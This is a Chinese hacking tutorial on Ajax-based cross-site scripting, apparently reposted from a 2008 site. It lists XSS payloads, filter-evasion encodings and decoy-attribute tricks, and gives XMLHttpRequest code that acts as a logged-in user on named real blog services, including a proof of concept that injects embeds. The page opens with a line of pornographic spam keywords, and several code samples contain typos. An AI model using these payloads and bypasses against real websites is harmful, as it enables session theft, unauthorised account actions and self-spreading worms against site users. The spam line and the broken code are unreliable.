亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

黑客教你新型入侵方法:Ajax hacking with Xss

互聯(lián)網(wǎng)   發(fā)布時(shí)間:2008-10-08 19:37:48   作者:佚名   我要評(píng)論
在十期發(fā)表《Ajax hacking》后,網(wǎng)友給我的反饋中關(guān)于XSS技術(shù)方面的問(wèn)題主要由以下幾個(gè)。為 什么在Ajax hacking中使用XSS?它與傳統(tǒng)的XSS又有什么區(qū)別?它們各有怎么樣的利弊端?大型網(wǎng)站的所 謂XSS漏洞是否為雞肋?下面我們一起來(lái)詳細(xì)分析下。   Ajax hacking   
在十期發(fā)表《Ajax hacking》后,網(wǎng)友給我的反饋中關(guān)于XSS技術(shù)方面的問(wèn)題主要由以下幾個(gè)。為 什么在Ajax hacking中使用XSS?它與傳統(tǒng)的XSS又有什么區(qū)別?它們各有怎么樣的利弊端?大型網(wǎng)站的所 謂XSS漏洞是否為雞肋?下面我們一起來(lái)詳細(xì)分析下。   Ajax hacking   Ajax hacking這個(gè)名詞最先出現(xiàn)在Billy Hoffman的一篇名為《AJAX dangers》報(bào)告中,他把samy 和yamanner這種攻擊形式定義為AJAX hacking。而在此之前它們只是被說(shuō)屬于web2.0蠕蟲(chóng)(或XSSworm) ,但對(duì)這種攻擊形式并沒(méi)有一個(gè)明確的定義。這里我們暫以AJax hacking中的XSS進(jìn)行一些深入的性討論 。關(guān)于Ajax的其他攻擊形式請(qǐng)到網(wǎng)上參看文章《Top 10 Ajax Security Holes and Driving Factors》或 者是翻譯成中文的《細(xì)數(shù)Web2.0下的十大安全威脅》。   在傳統(tǒng)的XSS攻擊中,我們的目的通常是直接提權(quán)或者獲取Cookies后提權(quán),所以代碼執(zhí)行方式一 般是windows.open、window.location或iframe,于是它的兩大弱點(diǎn)就體現(xiàn)出來(lái)了,不具有傳播性和易暴 露性。在AJax hacking中利用Ajax這一種新技術(shù),攻擊方式及對(duì)象得以轉(zhuǎn)變。其實(shí)絕大部分人在獲得管理 員權(quán)限又擁有文件更改權(quán)限后所能做的也就是掛馬,很少設(shè)計(jì)商業(yè)機(jī)密之類!而這一攻擊則直接把矛頭指 向客戶端,由于數(shù)據(jù)全部是使用異步調(diào)取方式,所以具有很強(qiáng)的隱蔽能力;通過(guò)操縱已登錄的用戶權(quán)限, 可以直接對(duì)用戶信息進(jìn)行更改,甚至可以使該代碼集合自動(dòng)傳播實(shí)現(xiàn)蠕蟲(chóng)功能。   XSS 利用方式   在傳播的XSS攻擊案例中,代碼插入的利用方式一般是在URL和文本區(qū)域(textarea)中。但對(duì)于 日前大面積利用Ajax技術(shù)進(jìn)行建站的站點(diǎn)來(lái)說(shuō),利用新形式的Ajax hacking技術(shù)可以將利用方式大體擴(kuò)展 到URL域、input域、textarea域、embed域、css、rss、xml載體七種方式。   URL XSS   可以進(jìn)行XSS的URL一般為"(域名)/(文件名)(文件格式)?(字段名)=(字段內(nèi)容)"這種 形式,而且字段內(nèi)容通常會(huì)在頁(yè)面的某一個(gè)位置顯示出來(lái)或者被調(diào)用。由于網(wǎng)站編寫者的疏忽,沒(méi)有把對(duì) 應(yīng)的字段內(nèi)容進(jìn)行安全檢測(cè)和過(guò)濾,而直接調(diào)用到頁(yè)面上,使得我們只把字段內(nèi)容替換成我們想要的XSS 代碼即產(chǎn)生跨站。比如: http://club.sohu.com/joke/1.htm? stra=<script>alert(document.cookie);</script>
  但是這種方式一般需要誘使用戶點(diǎn)擊你事先偽造的鏈接,而鏈接你可以掛在論壇里或者以E-mail 的方式進(jìn)行釣魚(yú)性欺騙。   Input和textarea以及css XSS   input和textarea以及css XSS是我們所用到的方式中最廣泛的幾種,由于css實(shí)際上屬于Dhtml的 一部分,所以它們的利用方式及繞過(guò)過(guò)濾特點(diǎn)也大體相同,我們將在后面著重進(jìn)行相關(guān)的解釋和實(shí)驗(yàn)。   Embed XSS   Embed XSS一般利用在允許插入視頻,音樂(lè)以及flash的站點(diǎn)上,如果你鏈接到一個(gè)被惡意構(gòu)造了 含有XSS腳本的flash文件,比如<EMBED SRC="xss.swf"></EMBED>,然后我們構(gòu)造一個(gè)特殊 的.swf文件,并在flash文件的動(dòng)作里插入以Action Script引到的js或vbs代碼。當(dāng)用戶訪問(wèn)該頁(yè)面時(shí)既 產(chǎn)生跨站。   Rss以及Xml XSS   這種攻擊一般利用在可以進(jìn)行rss聚合的站點(diǎn)以及部分本地的rss解釋器上(據(jù)說(shuō)對(duì)本地的rss解釋 器進(jìn)行XSS,有獲得主機(jī)權(quán)限的可能性,不過(guò)本人沒(méi)有試過(guò)這個(gè)?。矣捎趓ss文件一般可以在任何站 點(diǎn)上被引用,所以想進(jìn)行這類的攻擊測(cè)試是很簡(jiǎn)單的事情,效果也相當(dāng)明顯。下面是對(duì)一個(gè)沒(méi)有進(jìn)行任何 過(guò)濾設(shè)置的本地調(diào)用遠(yuǎn)程rss.xml的實(shí)例效果,以及Google調(diào)用該rss的過(guò)濾效果。   代碼插入方式   由于插入的腳本為js或者是vbs,所有一般需要由的關(guān)鍵字JavaScript、VbScript、expression比 如<IMG SRC="JavaScript:alert('XSS');">,但當(dāng)接收鼠標(biāo)或鍵盤響應(yīng)時(shí),這三個(gè)關(guān)鍵字可以省略掉,所以有以下利用方法<img onmouseover="alert('XSS')">或者<INPUT onkeyup="alert('XSS');">等等。而且由于html并 不遵循xhtml的標(biāo)準(zhǔn),所以可以有以下插入方式: 1、標(biāo)簽屬性可以用雙引號(hào)、可以用單引號(hào)、也可以可不用引號(hào); 2、屬性值可以大寫;可以小寫;也可以混合寫; 3、可以插入回車、包括段末結(jié)尾符和換行符的兩種、即char(10)和char(13)、tab空格; 4、如果是style形式還可以插入反斜線“\”、注釋符“/**/”; 5、可以將插入的代碼轉(zhuǎn)換成10進(jìn)制、16進(jìn)制; 6、由于禁止的不確定性,你插入的進(jìn)制串可以進(jìn)行一系列轉(zhuǎn)化并可以隨意搭配組合; 7、進(jìn)字符“j”就可以有以下15種編碼方法,而且還是不計(jì)字符的大小寫。 \6A\06A\006A\0006A\00006A //java形式的16進(jìn)制編碼 &#106;&#0106;&#00106;&#000106;&#0000106; //十 進(jìn)制編碼 &#x6A;&#x06A;&#x006A;&#x0006A;&#x00006A; //十 六進(jìn)制編碼 8、其他的編碼方式,如htmlEncode和URLEncode對(duì)于html及URL的編碼。   至于可以插入代碼的html標(biāo)簽嘛……說(shuō)句近乎瘋狂的話——目前幾乎所有可以插入屬性的標(biāo)簽都 可以插入代碼,比如<bstyle="xss:expression(alert('XSS'))">。   在html標(biāo)簽中可以插入代碼的屬性一般為:src、style、dynsrc(常用于img和input中,用此屬 性還可以插入視頻等)、lowsrc(預(yù)載縮略圖)、鼠標(biāo)屬性(如o n m o u s e o v e r )、鍵盤屬性( 如onkeypress)、href屬性(常用于a和link)、boby的onload屬性、URL屬性等。   過(guò)濾繞過(guò)方式   當(dāng)然人家網(wǎng)站也不可能傻乎乎地讓你輸入這些代碼,所以它們一般會(huì)對(duì)你輸入的字符進(jìn)行過(guò)濾。 所以我們編寫好的代碼并一定就能順利的插入執(zhí)行,很有可能某些關(guān)鍵的字符被過(guò)濾掉了,比 如"JavaScript"。如果只是這種單純的過(guò)濾,那么繞過(guò)方法實(shí)在太簡(jiǎn)單,只要每當(dāng)輸入此字符時(shí)輸 入"javajavascriptscript"之類就可以了。當(dāng)然網(wǎng)站程序員依然不會(huì)這樣傻,它們會(huì)進(jìn)行種種過(guò)濾來(lái)防備 你,所以結(jié)合上面的"代碼插入方式",你可能會(huì)總結(jié)出以下的繞過(guò)網(wǎng)站過(guò)濾系統(tǒng)的方法:   1、用控制字符的ASCII碼填充   比如<IMG SRC="&#15;JavaScript:alert('XSS');">,如果你熟悉ASCII碼,你應(yīng)該 知道系統(tǒng)控制字符一共是33個(gè),這里去掉一個(gè)頭&#00(null)和一個(gè)尾&#127(del),其他31個(gè)字符 均可以順利插入代碼頭部,對(duì)過(guò)濾系統(tǒng)進(jìn)行混淆,并且不影響原代碼執(zhí)行,而且你依然可以用"代碼插入 方式"中的"方案7"進(jìn)行編碼的任意轉(zhuǎn)換。七種tab符&#9、換行符&#10、回車符&#13可以插到代碼任何地方。   2、插入混淆屬性   當(dāng)我們進(jìn)行一般的文字錄入時(shí)會(huì)發(fā)現(xiàn),并不是所有帶"JavaSceipt"這樣的字符都會(huì)被過(guò)濾掉。而是只有在html標(biāo)簽內(nèi)的特殊字符會(huì)被濾掉,這使得我們有了令一套繞過(guò)措施,在插入代碼的屬性前面插 入另一混淆屬性,并在該屬性中插入讓過(guò)濾系統(tǒng)誤以為是標(biāo)簽結(jié)束符的字符,從而讓過(guò)濾系統(tǒng)認(rèn)為執(zhí)行代碼在html標(biāo)簽的外面。比如: <img src="abc>" onmouseover="[code]"> //插入混淆的src屬 性 <IMG """><SCRIPT>[code]</SCRIPT>"> //插入混 淆的雙引號(hào)及 “>”符號(hào) <SCRIPT a=">" SRC="xss.js"></SCRIPT> //插入混淆的a 屬性   3、用注釋符分割   由于瀏覽器會(huì)忽略掉每種代碼的注釋符,因此如果我們?cè)诖a中的注釋符就可以成功地欺騙過(guò)濾 系統(tǒng)并且不影響XSS代碼的正常運(yùn)行。比如: <img style="xss:expr/*XSS*/ession([code])"> //css的注釋符號(hào) 為/**/,其中的內(nèi)容會(huì)被忽略 <style>@im\port'\ja\vasc\ript:alert("XSS")';</style> //css中忽略的符號(hào)還有“\” exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression (alert("XSS"))'> //注釋混淆后的樣子 <style><!--</style><script>[code]//-- ></script> //html的注釋符為<!--注釋-->   4、js編碼及調(diào)用   如果過(guò)濾系統(tǒng)會(huì)過(guò)濾掉很多的特征字符,那么當(dāng)我們做以上繞過(guò)的時(shí)候就會(huì)非常的麻煩,所以典型的繞過(guò)方案還有對(duì)這些代碼進(jìn)行js編碼或者干脆從外部調(diào)用過(guò)來(lái)。當(dāng)然由于瀏覽器對(duì)Ajax的安全機(jī)制,你必須保證調(diào)用的文件在相同的服務(wù)器上,否則就會(huì)出現(xiàn)錯(cuò)誤提示。   異步數(shù)據(jù)調(diào)用   既然是Ajax hacking,自然需要用到異步的數(shù)據(jù)調(diào)用。這里將簡(jiǎn)單的介紹一下相關(guān)的知識(shí),要更 深入的了解是長(zhǎng)期實(shí)踐的結(jié)果。   1、聲明xmlhttprequest對(duì)象   數(shù)據(jù)調(diào)用需要事先聲明xmlhttprequest對(duì)象,在IE6及以前版本中最簡(jiǎn)單的做法是: var XmlHttp=new ActiveXObject("Microsoft.XMLhttp");   在IE7和firefox中的聲明方法是: var req = new XMLHttpRequest();   所以如果我們想編出兼容性更好的代碼,可以對(duì)客戶端瀏覽器進(jìn)行判斷,然后分別定義 xmlhttprequest對(duì)象,如下: if(window.XMLHttprequest){
XmlHttp = new XMLHttpRequest();
}else if (window.ActiveXObject){
Xmlhttp = new ActiveXObject ('Microsoft.XMLHTTP');
}
  然后采用以下方法進(jìn)行參數(shù)傳遞 XmlHttp.Open("POST","URL",true);
XmlHttp.send(null);   這里要主意的是,XmlHttp.Open中的第一個(gè)選項(xiàng)為頁(yè)面的請(qǐng)求方式,可以為post、get、head三種 第三 個(gè)選項(xiàng)true表示異步方式、false表示同步方式。   利用以上代碼,你可以簡(jiǎn)單實(shí)現(xiàn)一下在TOM博客中為當(dāng)前用戶添加任意用戶的友情鏈接,如果添加 成功 會(huì)返回OK窗口,已經(jīng)添加會(huì)返回friended,代碼如下: <script>
var XmlHttp=new ActiveXObject ("Microsoft.XMLhttp");
XmlHttp.Open("POST","http://blog.tom.com/manage/favorite/friend_list.php? UserName=monyer1&Flag=1",true);
XmlHttp.send(null)
XmlHttp.onreadystatechange=ServerProcess;
function ServerProcess(){
if (Xmlhttp.readystate==4 || XmlHttp.readystate=='complete')
alert (XmlHttp.responsetext); }
</script>
  利用相同原理,給登錄用戶添加文章也不是什么難題,只不過(guò)稍微麻煩店而已,感興趣的朋友可 以自 己回去試試。   V b s c r i p t 中聲明xmlhttprequest的代碼為這樣: dim httpreq as msxml.xmlhttprequest
set httpreq = new xmlhttprequest
httpreq.setrequesttheader "content- type:","text/xml;charest=gb2312"
httpreq,send
  利用方式與js大體相同,這里不做過(guò)多的即時(shí)。   2、獲取頁(yè)面元素   獲取頁(yè)面指定標(biāo)簽和標(biāo)簽中的值一般會(huì)用到以下幾個(gè)DOM對(duì)象,當(dāng)然對(duì)象后面可以加入相關(guān)屬性, 比如 style、value、innerHTML等等。 1)document. getElementByld //獲得制定id的html標(biāo)簽相關(guān)信息 2)document. getElementByname //獲得指定name的html標(biāo)簽相關(guān)信息 3)document. getElementByTagName //獲得指定的html標(biāo)簽相關(guān)信息   3、在頁(yè)面中插入html元素   我指導(dǎo)的可以在頁(yè)面插入html的js函數(shù)有insertAdjacentHTML、innerHTML(outerHTML)、 inserAdjacentText、innerTEXT(outerTEXT)。其中前兩個(gè)是插入html代碼,后兩個(gè)是插入文本,所以 我們一般所用的就是前兩個(gè)。另外用document對(duì)象中的creatElement也可以實(shí)現(xiàn)代碼插入,輸入js代碼時(shí) 請(qǐng)注意大小寫問(wèn)題。 1)<a href="#" onclick="this.innerHTML='<h1>i am monyer</h1>' ">innerHTML</a> //替換當(dāng)前標(biāo)簽中的內(nèi)容,作用域不包括當(dāng)前的 html標(biāo)簽 2)<a href="#" onclick="this.outerHTML='<h1>i am monyer</h1>' ">outerHTML</a> //替換當(dāng)前標(biāo)簽及標(biāo)簽中的內(nèi)容,作用域包括當(dāng) 前標(biāo)簽及其中所有內(nèi)容 3)<a onclick="this.insertAdjacentHTML('afterEnd',<h1>monyer</h1>')" href="#">insertAdjacentHTML</a> //新增插入的html代碼,不改 變?cè)瓨?biāo)簽及內(nèi)容   指定插入html標(biāo)簽語(yǔ)句的地方,有四種值用: a.beforeBegin:插入到標(biāo)簽開(kāi)始標(biāo)記后 b.afterBegin:插入到標(biāo)簽開(kāi)始標(biāo)記后 c.beforeEnd:插入到標(biāo)簽結(jié)束標(biāo)記前 d.afterEnd:插入到標(biāo)簽結(jié)束標(biāo)記后   靈活地運(yùn)用這兩個(gè)函數(shù)能幫我們變換出豐富的效果來(lái),我利用百度空間插入視頻的簡(jiǎn)化POC: Html頁(yè)面的代碼為: <script scr=monyerflash.js></script>
<address>src=http:/ /tv.mofile.com/cn/xplayer.swf?v=9IWKFISE</address>
monyerflash.js代碼為: windwo.onload=function(){
var i,j,x,y,z;
j=document.getElementsByTagName ('address');
for(i=0;i<j.length;i ){
y=document.getElementsByTagName('address') [i];
z=document.getElementsByTagName('address') [i]; firstChild.data;
x='<br/><embed ' z '></embed>';
if(y) y.insertAdjacentHTML('beforeEnd'.x);
}}
  總結(jié)   有了以上概述,相信你對(duì)Ajax hacking with XSS已經(jīng)有了一個(gè)大體的了解,并且只要把文中的響 應(yīng)內(nèi)容進(jìn)行簡(jiǎn)單的組合和更改,就很可能做出某些令人驚喜的東西。當(dāng)然因?yàn)锳jax應(yīng)用的是JavaScript的 一部分,所以想充分利用Ajax式的hacking并發(fā)揮它的威力還需要你對(duì)JavaScript有一個(gè)充分的了解。當(dāng) 你在各個(gè)過(guò)濾系統(tǒng)間實(shí)戰(zhàn)時(shí),你會(huì)遇到更多的苦難并需要試著解決各種問(wèn)題。我認(rèn)為是否真正入侵一個(gè)網(wǎng) 站或者順利掛馬是次要的,不斷提高自己,在功與防的對(duì)立統(tǒng)一中不斷尋求突破才是王道!

相關(guān)文章

最新評(píng)論